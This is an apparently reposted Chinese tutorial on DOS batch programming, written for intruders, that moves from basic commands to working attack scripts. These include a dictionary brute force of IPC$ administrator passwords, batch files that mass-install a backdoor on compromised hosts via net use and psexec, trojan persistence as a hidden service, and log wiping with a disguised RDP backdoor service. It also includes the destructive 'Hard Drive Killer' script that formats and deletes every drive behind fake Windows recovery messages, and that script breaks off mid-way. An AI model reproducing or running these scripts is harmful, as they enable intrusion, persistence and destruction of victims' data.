分享

dos 批处理编程 - others - nlchjian

 Jcp189 2010-08-18




 

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on│off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。


2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)


3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。


4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.


5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。


6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。


7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234......
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end


:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye


此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。


9.If 命令


if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms


2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys


3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。


10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

 

for {%variable│%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I


如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:


FOR /D %variable IN (set) DO command [command-parameters]


如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。


FOR /R [[drive:]path] %variable IN (set) DO command [command-


检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。


FOR /L %variable IN (start,step,end) DO command [command-para


该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。


FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command


或者,如果有 usebackq 选项:


FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command


filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:


eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。


sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command


会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。


%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或
'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。


您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。


最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:


FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i


会枚举当前环境中的环境变量名称。


另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:


~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串


可以组合修饰符来得到多重结果:


%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR


在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。


以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。


sample2:


利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,这样就ko了。


sample3:


你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。


主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

 

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ............OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.


二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3
三.如何使用组合命令(Compound Command)


1.&


Usage:第一条命令 & 第二条命令 [& 第三条命令...]


用这种方法可以同时执行多条命令,而不管命令是否执行成功


Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB


Directory of c:\Ex4rch


2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif


2.&&


Usage:第一条命令 && 第二条命令 [&& 第三条命令...]


用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;


Sample:
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.


C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB


Directory of c:\Ex4rch


2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.


在做备份的时候可能会用到这种命令会比较简单,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)


3.││


Usage:第一条命令 ││ 第二条命令 [││ 第三条命令...]


用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;


Sample:
C:\Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB


Directory of C:\Ex4rch


2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free


组合命令使用的例子:
sample:
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt


四、管道命令的使用


1.│ 命令
Usage:第一条命令 │ 第二条命令 [│ 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

 

sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。


2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。


sample1:
echo hello world>c:\hello.txt (stupid example?)


sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。


3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。


No.5
五.如何用批处理文件来操作注册表


在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用. REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除。


1.创建
创建分为两种,一种是创建子项(Subkey)


我们创建一个文件,内容如下:


Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]


然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为"hacker"的子项。


另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:


Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02


这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是"String value"
door的类型是"REG SZ value"
Autodos的类型是"DWORD value"

 

2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。


3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:


Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-


执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了;


我们再看看删除一个子项,我们创建一个如下的脚本:


Windows Registry Editor Version 5.00


[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]


执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。


相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。


samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样:
@echo Windows Registry Editor Version 5.00>>Sample.reg


@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg

 

samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地 IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll


@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
@REM 这样不是更安全.


六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------


@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off


:Rem check parameters if null show usage.
if {%1}=={} goto :Usage


:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END


:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF


:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.


:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

 

2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------


@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll


@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]


@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll


------------------------ cut here then save as .bat or .cmd file ---------------------------


下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

 

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]


3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.


set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z


rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.


echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat


cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.


echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat


cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.


echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat


cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.


echo :enddc >>drivechk.bat


rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".


rem Now we will use the program drivechk.bat to attain valid drive information.


:Sampledrv


for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c


:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
